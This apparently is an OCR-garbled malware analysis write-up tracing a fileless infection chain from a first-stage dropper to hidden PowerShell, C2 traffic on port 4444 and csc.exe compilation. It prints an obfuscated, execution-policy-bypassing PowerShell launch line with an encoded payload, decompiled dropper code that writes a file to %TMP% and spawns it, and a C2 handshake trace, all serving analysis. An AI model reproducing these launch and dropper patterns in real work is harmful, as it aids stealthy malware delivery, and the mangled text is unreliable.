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First stage binary is a 64B payload compiled on 10/09/2017
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Ist stage binary spawns powershell payload. Payload is buffered form one powershell to
another powershell. This is to make sure that the payload remains fileLess and obfuscation is

removed in the memory. Eventually a .tmp file is utilized by csc.exe
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%vtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Use;!\foo\AppData\Local\Temp\RE597EE.tmp" "c:\Users\foo\AppData\Local\Temp\CSC9O7ED. tr



Here is the flow:
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Ist stage Payload -> Powershell -Powershell -> Powershell -> Communicate to

C2 and spawn CSC.exe

Let’s look atthe traffic flow

Command Line:
‘C:\Windows\System32\WindowsPowerShell\v 1. 0\powershell exe” -nOnINGER -NoLO -NoProfiLE -WINO HIDJE
N -ExeCuioNPoL bYPaSs ¢ JgRoACaA AT ACAAMAAGADOAIAASACAA W AGAD EAIAAIAC AAMG AGADEAIAA4ACAANGAGADAA]
WALAFIARQBQAEWAQQBIAGU WAIWB7ACQ: QAnAC0ACG ANACAAIWASACCAIWADA
COAZGANAGUAIWASACCAYQARACWAIWBDACCALAANAH Y AIWASACCAdAANACAIWBZACCALAANAGW Al ASACCACGANACWAIWBIACCAL
ARnACOAIWADACAAQWBIAHAYQBGAGEAJGBHAFQAWGBZAGKAIAA3ADSALgADAC YAKARN AHs AMABSAHS AMQBIACCAL GBACCARWANA
CwAJWBDAEDAwADACIAKAAN ADYAIAAYACAAMWAGADEAIAADACAANQAGADCAIAA4ACAANQAGADKAIAAWACAAMg AnACOAUGBFAFAAT
ABRAGMAZQANAFwAdW ArACCALAANAHS AJAB7AD AR QBSACCALOBYAGUACABMAGEAGWBIACCAIAANACH Al AN ACKALOBMACCADAANA
WAIWAACCALAANAGUAIWASACCAJARN A AwB2ACCALAANAGEAIWASACCACHANACWAIWBYACCALAANAGKAIWASACCAYgAACKAK
QAgAHMAZQBNADEAJQBEADKAUGBRAEUAVQBmACAAMQAIADsAlg Ao ACCACWBFAHQALQB2ACCAKANAEEAIWAACCACGBJAEEAYgBSA
GUAJWADACAASQBTAGMANMWA4AD AALWBS ADGAZQAAD AAIAAIADQAOWALACIAIWB TAEUAJAA AT YAYQBY AGKAQQBCACCAKWANAEWAR
QAnACKAIABZAPKAYQBTAGSANWBPAGMANWAZAEQAQG Ao ACGAKAROACY AKAALACGAKAARADEAIAAWACAAMGANACOAUIGBFAHAATABBA
EMARQANAFwAdWAACCALAAAHS AJAB7ADAXQBIACCALQBSAEUACABMAGEAYWBFACCAIAARACALW QBmACCAYwAnACH
wBNACCALAARAGOAIWADACGA. 'YAYQBSAGKAYQBCAC \wArACCARQARACKAKQAGAEMAVAB4AGEARGBNA
HYARWBUAFoAWGBDACKALGA0ACGAIwAZACAAMGAGAD EAIAADACAAMAANACOAUG BIAHAATABRAEMARQANAFWAAWATACCALAANAHSAJ
AB7ADAMQBIACCALQByAGUAUABMAEEAQWBIACCAIAARACw AlwAnACKALQBACCAZQANACWAIWBSACCAL AANAGEAJWASACCAdgAnA
CwAJWB1ACCAKQArADMAOAADACIAGQBZAFSAYwBoAEEAUGBAACKALgADACC AewAWAHAeWAKAL
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~ — — ANetwork 3-Way Handshake

(UDURRANI)
PORT INFORMATION (49278, 4444)
SEQUENCE INFORMATION (167164569, @)
RG:0 | ACK:@ | PSH:@ | RST:0 | SYN:1 | FIN:@|

TO IP ADDRESS 192.168.0.222

(UDURRANT)
PORT INFORMATION (4444, 49278)
SEQUENCE INFORMATION (3964290298, 167164570)

TO IP ADDRESS 192.168.0.10

URG:0 | ACK:1 | PSH:@ | RST:@ | SYN:1 | FIN:0|

(UDURRANI)
0]

TO IP ADDRESS 192.168.0.222

PORT INFORMATION (49278, 4444)
SEQUENCE INFORMATION (167164570, 3964290299)
URG:0 | ACK:1 | PSH:@ | RST:0 | SYN:0 | FIN:0|
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Ist stage binary:

memset(rbp + 0xedfd, 0x0, 0x68);

FUNCTION_1(rbp + Oxdfde, oxff, "%s\rlGnqU4iDgy3", *(rbp + 0xel60), array[2047], array[2048], array[2049], array[2050]);
fwrite(rbp + 0x9680, 0x1, 0x4950, *(rbp + 0xel58));

fclose(x(rbp + 0xel58));
CreateProcessA(0x0, rbp + 0x2680, 0x0, 0x@, array[2047], array[2048], array[2049], array[2050], 0x0, 0x8000000);

File %0s\rlGnqU41Dgy3 1s created:
%s represents the path, where to drop this file

rIGnqU4iDgy3 is the name of the file.

Eventually this file is dropped in the % TMP% location. Powershell will call csc.exe to use

cvtres.exe, This is used to convert a resource file to an object file on the fly.
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